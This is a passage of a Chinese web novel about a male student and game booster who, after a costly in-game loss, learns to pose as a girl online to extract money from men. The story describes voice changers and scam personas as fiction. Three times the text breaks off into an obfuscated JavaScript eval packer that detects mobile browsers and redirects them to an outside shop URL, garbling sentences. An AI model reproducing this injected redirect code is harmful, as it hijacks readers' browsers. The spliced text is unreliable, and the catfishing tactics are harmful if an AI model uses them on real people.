《网骗别用真照片》 1. 第一章 @天问OL： 秋色宜人，金风送爽。在这个美丽的十月里，天问全体制作组携全新版本与诸位侠客相见。本次更新内容非常丰富，不仅扩大了魔域板块的地图，从开服以来就被大家千呼万唤的情缘系统也重磅来袭！ 更新版本后，玩家可通过组队副本、互赠礼物等方式增加亲密度，亲密度达标后交换信物，结成伴侣。 信物礼包分为168、2688、188888三档，内含三款不同款式和特色的精致双人时装＊1、轻功动作＊1、头像框＊1，其中188888的礼包还包含限定坐骑霓裳羽凤＊2、特殊双人互动“缘来是你”和全服烟花雨，让新人们在全体玩家的祝福下喜获良缘，永结同心！ 活动期间还有登录奖励和求签活动，签到满7天赠送主题家具一套，少侠们快带着心爱的人一起走遍江湖吧～转发＋关注抽取五名幸运少侠赠送100点券兑换码哦[比心]～ 中午12点整，游戏天问准时发布了新版本的前瞻预告片。身为时下最火的mmo网游，这条信息量颇大的微博很快冲上热搜，引起了玩家们的广泛讨论。 @AFK：省流，就一套免费家具，几个穷死人的拍照动作，其余都要氪金，圈如钱 @每天都很困：我靠，现实结婚贵就算了，你个破游戏是怎么敢的？十八万也敢要。我是干正经工作的，来钱没那么快[倒拇指] @武林第一深情：@天问OL，你离倒闭不远了，听见没？ * 立秋已过，海城的气温却依然居高不下，闷热如旧。 大学城附近，一间安静狭小的空调房里，忽然响起“叮”的一声消息提示音。 听到这声音，坐在电脑桌前的青年随即抬头看向手机屏幕。他身穿水洗褪色的无袖T恤，裸露在外的皮肤是一种久未见阳光的白皙。 屏幕上，是一条用户名为“然”的消息： 【然：分享微博＞来自@天问OL：秋色宜人，金风送爽…】 是天问官方刚发布的新版本预告，内容不言而喻——情缘系统终于正式上线。 【清清绵绵冰：哇】 【清清绵绵冰：天问居然出情缘系统啦】 十几秒后，一个粉白色的少女头像发过去两条消息，语气中透着期待。 而几乎在消息发出去的同一秒，聊天框顶端便亮起了“对方正在输入…”的提示。 【然：今天什么时候上线？】 【然：给你一个惊喜】 ……这惊喜，未免也太好猜了吧。 电脑前的人动作顿了顿，纤长的指尖悬在键盘上方，思考片刻才落下去： 【清清绵绵冰：得十点之后才能上线了，今天有两节晚课】 【清清绵绵冰：要不，还是算了吧[小猫哭泣]】 【然：没事，我等你】 【然：[转账]】 【然：宝宝上课辛苦了】 看见这几条消息，刚刚发送完可爱表情包的人敛了敛眼帘，似乎在犹豫些什么。直到对面又发来一个催促的表情，他才点击“接受”，嘴角无意识地抿紧。 没错，这就是他。 真名黎清，网名清清绵绵冰，粉白色少女头像本人。 一个正在网络上和男人维持暧昧关系的男大学生。 . 作为时下最火的古风mmo网游，天问OL公测于一年之前。 游戏主打“体验真实修仙”的名号，开服前就花了大价钱在营销上，广告铺天盖地。 水墨风格的短片中，黑衣少侠英姿飒爽，衣袂飘摇，乘着御剑穿梭在河山之间，古色古香的画面配合着背景音乐中的琴声，几乎立刻就将人带入了屏幕中的世界，也吸引来了不少下载量。 不得不说，游戏确实有几分真材实料，广告里的内容也是实景拍摄。但等到玩家真正进入游戏时，才会意识到一个严重的问题，一个被游戏厂商有意无意隐瞒的真相： 这些都是要花钱的。 想要风流潇洒，穿得好看？ 打开商城，琳琅满目的时装和氪金活动目不暇接。别说古风仙侠，现代潮服和欧式礼裙也能穿到身上。越贵的时装特效越华丽，好不好看另说，总之绝对吸引眼球。 想要御剑飞行，飞跃湖山？ 特殊的坐骑和轻功都需要付费获取，其中有直售，也有抽奖。普通玩家在地上骑驴，大佬在天上驯龙，共处同片江湖，呼吸到的空气却不是一个高度。 至于一些其他的玩法，比如橙武、高阶灵宠、内功锻造这些…只要是能想到的，天问都为你提供了花钱解决的渠道，氪金无极限。 但是，就这样一款钻进钱眼里的游戏，却依旧凭借其精致的建模和社交属性火的一塌糊涂，吸引了相当一部分忠实玩家。 毕竟每个人玩游戏的初衷不同，虽然物价贵，但天问的基础玩法也很丰富。如果不是很追求外观或战力，那就领点免费的衣服，在风景如画的古风世界里拍照钓鱼、种种庄稼，当个休闲种田玩家也很不错。 总结就是：有钱玩得更爽，没钱也不是不行，不同的人有不同的玩法，全看自己选择。 不过黎清并不属于以上的任何一类。 他是要去游戏里赚钱的。 . 当然，这个赚钱指的并非是收同性的转账——至少最开始不是，曾经的他只是个普通的游戏代练。 作为开服就注册的玩家，黎清是个货真价实的骨灰级用户。 经济实力有限，他几乎从不氪金，而是专精平民玩法，凭借不俗的操作也能拿满竞技场奖励。最沉迷的那段时间，他几乎除了上课都泡在游戏里。 不过当代练就没什么意思了，有句话很有道理，再喜欢的东西一旦变成职业，热情就会被消耗。 可是没办法，他真的很缺钱，非常缺。自从成年之后，每月打进银行卡里的那点生活费也随着许久未见面的人一同消失了。存款告急，黎清也不想伸手讨要，那还能怎么办呢？ 而且，相比较其他兼职来说，当代练时间自由，方便根据课表调整。还可以足不出户，只要有台电脑，在宿舍里就能完成，这点可谓是正中他下怀。 黎清性格内向。他不爱出门，更不喜欢社交，平时在外总习惯戴口罩，吃饭也是独自在食堂角落解决。 他知道自己这样在别人看来很孤僻，但性格如此，没那么容易改。如果不是不得已，他也不想和别人住在一起。 由于宿舍另外几人对自己的态度，黎清愈发沉默，简直活成了透明人。 好在现在放暑假了，几个舍友回家的回家，旅游的旅游，只有他留在闷热的宿舍楼里。学校的空调是外包出租的，能耗很高，为了节约电费，他只敢临睡前开个定时，日子十分拮据。 攒钱吧，攒够了就搬出去。 黎清在网站上搜寻了相关信息，发现学校东边的小区就有公寓出租，主要面对学生和刚工作的上班族，户型不大。 如果想要租金便宜，那大概率还是得跟人合租。但跟宿舍不同，搬出去住可以拥有自己的房间，行动起来也更加自由，总比留着受气要好。 靠这个信念支撑，黎清的内心也燃起了希望，打算趁室友不在好好努力一把。 初步观望后，他决定先从社交平台着手。天问有专门的交易论坛，黎清也注册了个账号，学着别人写价格表，发帖吆喝自己，几天下来却无人问津。直到将价格降到原来的一半之后，才终于接到了人生的第一单工作。 老板的要求很简单，自己平时要上学，没空玩游戏。希望代练帮忙做做日常，打满每周限定次数的副本。 黎清兢兢业业养了一周的号，等到老板放假，才将账号归还了回去，等待对方的检查。 【：！！】 【：我的妈呀！！】 看见一连发来的好几个感叹号，黎清心头一跳，以为自己做错了什么事。 【点水青：怎么了？】 【点水青：是哪里出了问题吗？】 很不好意思，如果有哪里不对的话—— 他一句话还没打完，就又收到了对方的回应。 【：没有，只是很惊讶】 【：你居然帮我把庄园里的杂草都除了，我自己平时都不做这些的】 【点水青：对不起，我还是第一次，不太了解】 【：没事，我是在夸你细心呢】 【：[转账]】 【：帮我再续两个月吧】 这是黎清的第一个长期客户，也是他代练生涯的开始。 干他们这一行，尤其是没有工作室当靠山的，其实做的就是一个信誉。 站在老板的角度，他们要将账号密码交给网络上的陌生人。遇到不负责任的还算事小，摊上那种恶意毁号的才是事大。 也难怪他之前难接到单，一个刚注册的新号，也没有过往的交易记录，很多人怕遇见骗子。 黎清知道这些，所以每一单都很认真，把别人的号当成自己亲生的养。还会提醒老板将重要物品放进密码箱里，交号前后截图对比。 价格开的合适，态度也好，经由老板间的互相推荐，之后黎清没怎么宣传也接到了单子，每天睁开眼睛就是登陆天问，不到一个月就赚了不少。 快了，再努努力。 他在心里悄悄给自己设了个目标，攒满了就出去租房，加上之前的奖学金，现在已经快完成三分之一了。 . 黎清觉得自己是有点倒霉体质的。 具体表现出来的迹象有很多，比如他比同龄人矮一截的身高，离婚后各自组建新家庭的父母，对自己莫名展现恶意的室友……之后又多了一条，他节外生枝的兼职生涯。 事情回到最初的原点。 那天，黎清正在吃午饭，却突然收到了一则微信提醒。 【：小水啊，我这里有个朋友听说了你，想问问你这个月还有档期吗？】 黎清的微信名是点水青，有些老板相熟后会给他起昵称。面对这个沉默寡言但格外认真的代练，有的爱叫小水，有的要叫青青，更有自来熟的连宝贝都叫上了。 面对这些称呼，黎清一开始还会有些不好意思，时间久了也就习惯了，管他什么称呼，按时结尾款就行。 【点水青：有空的】 【点水青：具体时间和需求让你朋友发过来吧，或者让他直接跟我联系】 对面把朋友的名片推了过来，经由一番沟通，两人敲定细节，约定当天就能开始。 晚上八点，黎清如约而至。上号之后，见多识广的他也有些惊讶。 是个有钱的氪佬啊。 看着人物头顶满十万氪条才能领取的悬浮特效，黎清暗暗想道。 可惜时间有限，没工夫欣赏，他争分夺秒地点开了需要代做的活动页面。 这是个新活动，也不知天问是从哪里得来的灵感，居然把大逃杀元素同仙侠缝合到了一起。 活动形式不算复杂。正式进入之后，系统会将一定数量的玩家匹配在一起，传送进活动的特殊地图，也就是“秘境”当中。 在限时的二十分钟内，玩家们可以在秘境里搜寻秘宝，带出后将宝物卖出，即可兑换游戏货币，是个难得可以薅官方羊毛的活动。 但想暴富也没那么容易，规则限制，秘境开启六分钟后，地图边缘才会出现离开的出口，即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16995943|193869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “传送阵”。 而与之相对的，越靠近地图中心的宝物价值越贵，即秘境的“阵眼”。 如果在脱离前就被其他玩家击杀的话，很可惜，不仅已经搜到的宝物带不出去，就连自己身上原有的装备也有概率遗失，把高风险高收益贯彻到了极致。 为了稳妥，黎清一直采取三不战略。也就是不带太多装备、不跟别人打架、在传送阵附近搜点不值钱的就走。 但这次有点不一样，看着满仓库金光闪闪的道具，黎清承认自己有些心动了。 他想试试能不能到达阵眼，找到隐藏在秘境中心的宝物。 点击开始匹配，黎清操控着人物进入秘境。一开始他很小心，注意周围的风吹草动，随时做好逃跑的准备，但随着时间的推移，内心里的那点忐忑也消失了。 原因无他，太强了。 不开玩笑地说，这身装备武器配合他的操作，真真是砍人如切菜。到达秘境深处时，背囊里也装满了从前不敢想的高级宝物。 按照这个速度，再打几把就能完成了。这单结完是200，那加上之前的就是… 一切都太过顺利，等待技能刷新的功夫，黎清默默计算着自己的小金库，游戏人物也就站在原地一动不动。 “唰——” 说时迟，那时快。 算的正认真时，竹林突然传来响声，还没等他看清，一道剑影就从身后袭了过来。 【您已受重伤，请尽快治疗！】 承受了这一击后，系统很快给出提示文字，就连屏幕四周也泛起了低血量特有的猩红特效。 是谁？ 黎清赶紧服用金创药补血，但攻击他的人却步步紧逼，剑如雨下，一点都不给他喘息的机会。 不得了了，这个人…有点厉害。 朝他刺过来的这把剑显然品质很高，不仅通体泛着火雷双属性的火焰，还附带着穿甲和中毒的附魔效果，是把不得多得的极品武器，仅一击就让黎清掉了大半管血。 当然，如果只是装备好，黎清还可以伺机逃跑。但更棘手的是，这件神兵的主人操作意识似乎更在他之上，连对手的想法都能看穿，一招一式皆断了后路，逃都逃不掉。 这种水平的人，怎么可能在这个段位？ 这个老板的号段位很低，一整个赛年基本没打。正因如此，黎清才敢稍微打的激进点。为了保证相对的公平，秘境里会压制一定修为，但眼前这人却还是如此强悍，极有可能是故意炸鱼的。 【您已受重伤，请尽快治疗！】 【您已受重伤，请尽快治疗！】 随着金创药耗尽，他无力抵抗，只剩一丝血皮。 【附近＞AY：等等！】 眼见游戏人物狼狈倒地，黎清有些急了，在附近频道朝对方发起会话。 【附近＞独孤：？】 看见他头顶飘起的对话框，这位刺杀他的神秘剑客定在了原地，也让黎清看清了他的真面目。 来人一袭白衣，通体泛着彩虹色的流光，只发梢被挑染成火焰般的红，饱和度极高。 而他的佩剑却是黑紫色的，上面缠绕着近乎实体的雷电，周身缠绕着光圈特效更是快速旋转着，中间还夹杂着类似符文般的浮雕印迹。 ？ 那一瞬间，黎清眼花缭乱，不仅是因为这人身上过分夸张的特效，更因为这略显豪放的色彩搭配。 不过，他虽然看不懂这身穿搭，却能认出这个叫独孤的人有多贵：那件流光溢彩的白色衣服是累充三十万赠送的，武器上的特殊符文则是需要耗费五十颗金打造才能保底成功，而他周身的光圈则是…… 居然遇到了比号主还有钱数倍的对手，这是他万万没有想到的。 事关老板的任务，黎清顾不得太多，只能开始他最不擅长的交涉环节。 【附近＞AY：哥，别杀行吗，搜到的东西都给你】 【附近＞AY：求你了】 【附近＞AY：我包里有很多好东西，全部都给你，可以吗？】 为了寻求一线生机，黎清一连发送了好几段话，手心都有些出汗。可这位衣品奇特的大佬却并不回复，只是定定站在原地。 没有动手，应该是同意了？ 黎清现在只有几百点血，一个平a就会死，独孤没有动作，想来应该是默许了。 江湖规矩，秘境之中，交货不杀。 为表诚意，黎清忍痛将宝贝都扔在地上，一件也没敢留，周身都被金光闪闪的宝物给堆满了。 给了货，对面停止了进攻，还悠悠然过来捡了一个，看上去是答应了。 虽然不知道为什么他不碰其他东西，但黎清懒得问，他现在只想及时止损，赶紧离开这该死的秘境。 可就在黎清操控轮盘，往后方撤退时，眼前的人竟又如鬼魅般漂移过来，转瞬之间，那柄泛着凌冽光芒的神兵迸发出剑气，带着炽烈的火焰刺穿了他的胸膛。 “我…不甘心呐！！” 【您死亡了。】 和人物死亡自带的淘汰语音一起，系统的播报提示也同时响起。 【非常遗憾！本次秘境遭遇不测，随身携带的灵骨散、五级镶嵌宝石、鹤鸣戒均在战斗不慎粉碎，请少侠好好修养，再接再厉。】 一切发生的太快，黎清视野最后只留对方发梢的那抹红。而伴随着强制脱离的倒计时，他的游戏界面也逐渐转为灰黑色，屏幕反光中倒映出一张震惊而苍白的脸。 ——明明都把东西交了，为什么还是被杀了？ ——掉了三件装备，这是真实存在的概率吗？ 思绪纷乱，黎清彻底傻眼。 他这是被人戏耍了。 2. 第二章 【点水青：事情就是这样，我会赔偿的】 【点水青：非常抱歉】 - 凌晨两点，整栋楼都陷入了沉寂，只有406号寝室中还散发出微弱的光芒。 丢下鼠标，关掉电脑主机。洗漱完的人躺在床上，明明精神已经十分疲惫，却怎么也睡不着觉。 头很痛。烦闷、难过、生气，各种各样的情绪交织在脑海中，让黎清的心情大起大落，难受极了。 那个独孤，怎么可以这么讨厌呢？ 黎清咬紧牙关，翻了个身，搞不明白这人什么来头。明明自己交了货，居然出尔反尔。杀了就算了，竟然还掉了整整三件装备。 要知道，在游戏公示的规则中，掉三件及以上装备的可能性还不到1%。 这种小概率事情，平时抽奖从来碰不上，偏偏在这种事上发生了，真是倒霉到了极点。 因为这出意外，黎清只得紧急停止工作，垂头丧气地和老板交代秘境中发生的事。 对方人好，看在是朋友介绍的份上，只收了购买时的价格，免去了如今交易行的溢价。但即使如此，也让黎清本就不宽裕的钱包大出血。 那可是整整一千五百块啊…！ 越想越气，又睡不着觉，黎清索性再次坐起，重新打开了电脑，登录了天问的玩家论坛。 【此版块为公开】交流灌水专区 【天问分区】日常＞＞＞闲聊 《主题：当代练把一个月生活费赔了，心塞》 #1楼主 睡不着，完全睡不着 兼职的第一个月，到手的钱没了，还倒赔了一千多，还有比我更失败的吗？ 自责+难过中 … 也许是夜晚实在太安静了，面对着空荡荡的寝室，黎清突然也想找个地方倾诉。发布之后，不少热心人士纷纷回帖。 #3 惨，摸摸头 #4 好家伙，咋要赔这么多？ #7 盲猜手滑分解掉了人家的装备 #9 楼主你是不是拿老板号开挂被封了 … 眼见猜测越来越离谱，连开科技都来了，黎清连忙否认，将今天发生的事再转述了一遍。 #12 三件？？ #15 0.6%的概率，楼主你的运气是这个[大拇指] #18 靠！我上次也是，那个人叫我交货，我立马交了，完了还各种说好话，就差叫爸爸了。结果呢，那龟孙反手把我刀了，气的老子差点砸键盘 #21 这些炸鱼的能不能死一死？ … 快凌晨三点了，论坛里还有不少夜猫子。听见黎清的故事，大部分人都表示同情，痛斥对方炸鱼又背刺的行为。但也夹杂着一些其他的声音，其中不乏指责他不负责任、为什么玩老板号还不小心一点的。 看到这些回帖，本来心里就乱的黎清更是一阵难受。刚想打字解释，自己已经努力跟对面沟通过了，就又刷出一条最新回帖。 #33 嘻嘻，我也遇到过类似的事，不过不是沙海，是在大世界。被对面卡着冷却时间恶意追杀，爆了两件装备的耐久。但损失我已经想办法拿回来了，楼主你想不想试试？论坛发不出来，私我～ 看见这段话，黎清心头一跳，虽然没太读懂这个人的意思，但鼠标已经不知不觉点到了私聊按钮。 【点水青：你好，我看见了你的回帖。想请问一下你是怎么做的？】 【C：你好呀，宝贝】 【C：没想到你真来找我了】 没想到这个人张口就是宝贝，黎清有些惊讶。不知为什么，虽然对面态度友好，他却隐约嗅到了一丝不好惹的味道，心也咚咚跳起来。 【点水青：抱歉打扰了，我只是…有点好奇】 【C：哎呦，别道歉嘛，不打扰】 【C：其实也没做什么，只是让那个人自愿变成了我的atm机而已[捂嘴笑]】 【C：[聊天记录]】 【C：[聊天记录]】 【C：[聊天记录]】 这个人连发了好几张聊天记录，黎清一一看过去。 第一张是正常的对话，大意是C添加了那个人，并质问对面为什么恶意追杀到自己掉级。面对C的指控，对方毫不在意，并欠揍地表示：想杀就杀了，怎样？ 真是没素质。 看见这个人满不在意的态度和话里夹杂的脏字，黎清想。 虽然天问以实力为尊，但为了更好的游戏环境，这种恶意鞭尸毁装备的行为一直为大家所抵制，更别说事后还嘲讽了。 正当黎清好奇C是怎么跟这种人讲道理、甚至追回损失时，翻到下一张聊天记录，却看见画风一转，内容逐渐往奇怪的方向奔去。 【C：你这个人怎么这样子啊，玩天问就是为了欺负人吗？】 【C：[语音条5’’]】 【C：[语音条3’’]】 因为是图片，黎清无法听见C说了什么，截图的人显然也贴心地考虑到了这点，将这两条语音用录屏的形式播放了出来。 ——讨厌死你了，呜呜…人家的装备都坏了 ——而且还不道歉…哼！ 听见这明显带着哭腔的娇嗲声音和那个语音上扬的“哼”字时，黎清只感觉浑身一颤，目瞪口呆。 这还是生气吗，怎么像在撒娇似的？ 还是大部分男生根本抵抗不了的那一种。 这两句话可谓是威力十足，听见少女的哭诉之后，对面的态度立马来了个一百八十度大转变。 【：哎，妹妹，别哭啊】 【：哥哥最听不得女孩子哭了，哥哥错了】 【：带你打竞技场，行不行？】 好一个变脸如翻书，油腻男现形。 黎清震惊，但不意外。这种同性他见过太多了，自己的室友们就是其中的典型，平时总爱在女生面前出风头，还拿自己当“对照组”，其实人家女生只是路过，压根都不想搭理。 如他所料，在撒娇攻势之下，对方很快主动认错，并陷入了恋情。 但这个恋情…该怎么形容呢，黎清很久没看见这样露骨的文字了。 只能说C确实是有点恐怖的，在她的刻意引导之下，对面很快被哄成了傻子，不仅对其言听计从，甚至连主人、妈妈这类称呼都说得出口，一副被玩弄到神志不清的样子。最后转账也是心甘情愿上供，哪里还有最初低素质又嘴臭的影子。 【C：看完了没？后面我找个理由把他甩了，活该，嘻嘻】 看见这个“嘻嘻”，黎清总算知道自己潜意识里对C的忌惮从何而来。只敢斟酌语句，礼貌回复道： 【点水青：看完了】 【点水青：感谢你的分享】 【C：宝贝，你说刀你的人拿着满级神兵，那应该很有钱吧。对那种富哥来说，别说一千五了，万把块也只是手指缝里漏下来的零花，随便捞点，当洒洒水啦】 【点水青：他应该氪了不少，但是…】 岂止是不少，不夸张的说，他刀上的一颗宝石就比黎清全身家当值钱了。 但说什么随便捞点，这不就是骗人吗？况且他们两个都是男的，根本没有可行性。 似乎看出了他的顾虑，C又是嘻嘻一笑，发来一串消息，徒留黎清一人睁眼到天亮。 【C：担心性别问题？怕个屁嘞】 【C：[语音条2’’]】 【C：你再听听，我究竟是男是女？】 【C：说白了，就算你不敢去找刀你的那个人，平时用我这招随机应变也是可以的。】 【C：焚决都传授给你了，自己琢磨去吧，先下了】 . 黎清一夜没睡，倒不是真的有那么生气，而是因为C发给他的那些秘籍。 链接-《网恋有风险，面基需谨慎，请提高警惕》 链接-《认识半年，相恋两年，结果情缘居然是个男的？兄弟们以后都谨慎点，别走了我的老路》 链接-《网恋经验贴：全是干货，务必收藏！！！》 … 从标题就可以看出，这些都是前人用教训换来的高浏览和回帖量，是他们的智慧结晶。直到早上五点，黎清才终于看完了这些帖子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16995944|193869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要不要试试？这是个问题。 一觉睡醒已是傍晚，其实过了这么久，黎清心里的情绪已经消了大半。归根结底也是自己不够小心，被偷袭才着了道，真正受伤的是他的钱包。 是的，主要是被偷袭。至于技术什么的，黎清是绝不承认他技不如人的，跟人民币玩家打法不同而已。 就在这时，他的微信又响起了“叮”的一声，原来是置顶的班级群内发布了新的通知消息。 ——各位同学，现开展20xx年海城居民基本医疗保险参与意向统计工作，请同学们在学校绑定的银行卡里面存入不少于350元，以待财务扣款。 “……” 算了，反正现在还在放假，这两天也没单子，试试就试试。 而且C说的不是没有道理，如果以后再遇到类似的情况，扮成妹子求饶，应该总比喊对面哥们、兄弟什么的要好…吧？ . 其实黎清也不知道自己现在在做什么，只是不知不觉间，他就已经端坐在桌前，仔细研读起网恋秘籍，活像是个认真听课的初中生。 帖子首先提到的就是颜值。 当然，这个颜值指的并非真实颜值。网恋吗，游戏里的颜值最重要。现在市面上大部分网游都有捏脸功能，玩家可以根据自己的喜好尽情发挥，捏出理想中的模样。 为什么那么多人热衷于在游戏里谈恋爱？漂亮的建模绝对功不可没。 即使知道是虚假的，人们还是容易下意识地将对面的人代入到游戏形象中。很多时候，一个精致的捏脸配好看的衣服，就足够把人迷的晕头转向了。 黎清觉得这话在理，他先是使用了转性丹，将自己原本的男号转成女生。而后又打开了天问的捏脸网站，根据排行榜选了排名no.1的“初恋脸”，大眼睛瓜子脸嘟嘟唇，清纯中带着点妩媚，气质迷人，不愧是女玩家严选。 就是个子矮了点。为什么天问的女性建模身高限制那么多，宣传时说好的自由捏脸、乐趣无穷呢？ 黎清有点不满意，他以前玩男号都是把身高拉满的。 解决了脸，接下来就是声音。 不见面的情况下，音如其人。人的脑补能力是很强大的，好听的声音自古以来就是网恋一大利器。例如C拿下嘴臭男，就是凭借那一嗓子柔美的女声打响的。 贴心如C，发过来的压缩包里不只有经验贴，连调试声卡的商家名片都一并发了过来。最便宜的套餐99元，报他的名字还能打七折。 于是，钱包刚刚大出血，还没“捞”到一分钱。网骗初学者就又稀里糊涂地投进去七十块，得到了一个据说男人都受不了的极品少萝音。 ……总感觉哪里怪怪的呢，应该不是被套路了吧？ 黎清戴上耳机，试探性地“喂”了两声，一阵又细又嗲的声音随之响起，激得他耳根一阵发软。 ……！ 这是我发出的声音吗？！ 他摘下耳机，花了十几秒才平复下心情，又说了几句话验证了下。 这声音，倒不是难听，只是实在太刻意了，刻意到有点假，反正黎清在现实是没听过哪个女生说话这个动静。 说的再直白点，就是个小夹子，而且仔细一品，这夹子还带电。 算了，听说贵的变声器都要几百上千，黎清想着自己才花了这么点，没什么好挑三拣四的，只要听着不是男的就行。 解决了外貌和声音两样，网恋秘籍就只剩下最后一样：人设。 是的，网恋也是要经验人设的。经验贴的贴主表示，如果是男的，可以根据自身风格走阳光男大、忧郁青年这些路线。如果是女生的话，那就在少萝和御姐间任意挑，切记头像ID要精挑细选，人在互联网上的身份是自己给的，堪比第二张脸。 ……刚解决了一个捏脸，怎么又来了第二张脸，不会以后还有第三张、第四张吧？ 黎清是真的被绕晕了，但就像全天下所有听不懂数学课却还顽强做笔记的学生一样。虽然不明所以，但还是乖乖照做。 这样一番操作后，到了晚上九点，一个ID名为小清宝宝，头像是滤镜叠满的粉白色奶猫的药仙账号终于重新出现在了二区，横空出世。 3. 第三章 转性丹的说明中写道，为了防止玩家冲动转性。物品设置了24小时体验期，在此期间，玩家随时可以反悔，时间结束前还可以转回。 黎清觉得挺好的。他入坑这么久了，除了老板的号外，几乎没怎么玩过女号，体验一下也不错。 首先要换身衣服。不知怎么，以前玩男号时穿得破破烂烂也无所谓，可一旦换成女号，突然就不想将就了。 可惜黎清不是外观玩家，玩了一年，只在武器上花过20元首充，除了做任务送的时装，衣柜里居然一件像样的都没有。 好在前段时间周年庆，官方送了个免费的双马尾发型。黎清一咬牙，又买了套商城畅销的6元小裙子，不然就真的只能穿门派校服了。 换好套装，他传送到了天心城。这里是天问世界观下的主城，也是游戏中人流量最大的地方。平日很多玩家都会在这边挂机、闲聊、玩互动动作，尽情发挥游戏的社交属性。 看着周围形形色色、穿着靓丽的男女们，黎清本想找人聊天，试试变声器的效果，但走近了却又胆怯，潮人恐惧症犯了。 要不还是打本去吧… 就在他打退堂鼓的时候，私聊里突然弹出了一则新消息。 【私密】185清纯男高：哥们，你咋变这样了，还改了个这名儿？ 天哪。 黎清一愣，突然猛地想起一件事：改名之后，系统会自动通知好友列表里的所有人。 这个叫185清纯男高的人，黎清有点印象，貌似打过几次组排，之后就没再联系了。 【私密】小清宝宝：突然想改而已 【私密】小清宝宝：怎么了吗 匆忙之间，黎清想不出什么理由，只好随便扯了几句。他的好友基本是竞技场匹配到的，看技术不错就加了，彼此没什么交情，平时也不聊天，想来不会深究。 【私密】185清纯男高：没什么，但你这ID怎么跟女的似的 【私密】185清纯男高：你该不会突然想告诉我，你就是个女生吧？ 看见这个问句，黎清本想否认，但又想起了自己的计划和秘籍。不知哪来的胆子，突然话锋一转，顺势敲下回复。 【私密】小清宝宝：对呀 其实天问里不乏女生玩男号的，听说她们因为审美好、擅长搭配，不仅不会奇怪，反而非常受欢迎，占玩家中相当一部分群体。 反正我也没在游戏里开过麦，他压根不知道我是男是女。 想到这里，黎清突然有点得意，可就在他感叹自己曾经的先见之明时，对面的反应却给他当头一棒。 【私密】185清纯男高：不是兄弟，别逗 【私密】185清纯男高：你这破号一件衣服跟头发都没有，之前连捏脸都是初始脸，往那一站跟个人机似的，哪有妹子是这么玩游戏的？ ……？ 看见男高发过来的文字，黎清盯着屏幕，有些不敢相信自己的眼睛。 什么破号，什么人机的、那可是他辛辛苦苦养大的孩子啊…！ 虽然充的钱少，衣服也没有，但每个赛年的竞技场奖励可都是拿满的，找人代打还要花个大几百呢。 这个清纯男高什么意思，只是打过几把副本而已，居然还点评起来了。而且怎么会有人起这个ID，还把身高写到名字里，听上去就很装，就像那个独孤一样！ 黎清真的被深深刺痛了，他拧起眉心，噼里啪啦地打起字来。 【私密】小清宝宝：这个号哪里不好了？竞技场印记都是满的 【私密】小清宝宝：谁规定女生就该怎么玩游戏？女生爱怎么玩怎么玩 【私密】小清宝宝：我就是不喜欢换衣服而已，不可以吗？ 面对他的三连问句，男高油盐不进。 【私密】185清纯男高：呵呵 【私密】185清纯男高：不信 【私密】185清纯男高：是女的我吃 “……” 呵呵。 不信是吧。 还想骗吃骗喝？ 看见他发来的消息，黎清气得要命，一股无名火在心中涌起。回忆着C说话的样子，从没在游戏里开麦的他打开了麦克风按键，捏起了嗓子。 一瞬间，一道又细又轻、带着些许紧张的的女声自耳边响起，通过设备传到了对面。 【私密】小清宝宝：[语音：你在说什么？我真的是女孩子呀] . “那个，不好意思，没想到你真是女生。” 2/7的队伍中，耳麦传来一道男声，至于声音的来源，自然就是刚刚还在聊天框里大放厥词的清纯男高。 “……咳。” 组队邀请是男高拉的，刚刚说完那句羞耻又做作的话后，黎清的大脑就一直处于宕机的状态，嘴巴也不听使唤。 “呃，那个，怎么称呼？叫小清吗，我之前叫你兄弟，你怎么也不纠正一下。” “无所谓，随便你。” 黎清不想解释太多，毕竟自己在撒谎，说多错多。 他回的心不在焉，想必对面也听出来了，这句话结束后，队内语音也随之陷入沉寂。 好尴尬。 就这么站在城里，黎清有点局促。他以前也会跟人组队，但都是为了打副本。通常是别人开麦，他打字，只交流局内的有用信息，闲聊的经验非常有限。 “那你等会儿想做点什么？” 男高打破了寂静。 “玩沙海吧。” 黎清正试图放空自己缓解尴尬，冷不丁被问到这个问题，一不小心就把心里话说了出来——他正打算找个理由退队，一个人去练习沙海呢。 “那我们双排呗？小清。” 这句小清他说的很轻，几乎有些腼腆。和ID一样，男高的声音听上去非常年轻，倒真像是个高中生。 黎清隐约记得他是个性格开朗的人，话也很密，不然也不会主动找个八百年不联系的列表询问改名的事了。 要不要双排呢？黎清有些犹豫。 因为久未操作，穿着裙子的少女进入了待机状态，站在原地一会叉腰，一会儿转圈圈，模样俏皮又可爱。 正巧男高也穿的是最近新出的现代装，两人站在一起，一男一女，身高差明显，看上去竟相当和谐。 “嗨，我玩铁拳很厉害的，你又不是不知道，咱们以前配合的不是挺不错的吗，打沙海肯定也是轻松拿下。” 见黎清沉默，男高似乎有些急切，语速也恢复到了从前，叽里呱啦说一大堆。这幅急于表现的样子，更是让黎清觉得莫名其妙。 兄弟，你可真是个… 黎清不知道该怎么形容这个人，但最后没有拒绝。 一来他跟男高组队过，别的不说，至少技术有保证，肯定比匹配到的路人靠谱。二来自改名后，这还是第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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玩起自己熟练的领域，黎清简直如鱼得水。躲在男高身后一会儿放一个控制技能，一会儿给他上增益buff回口血，轻松又高效。 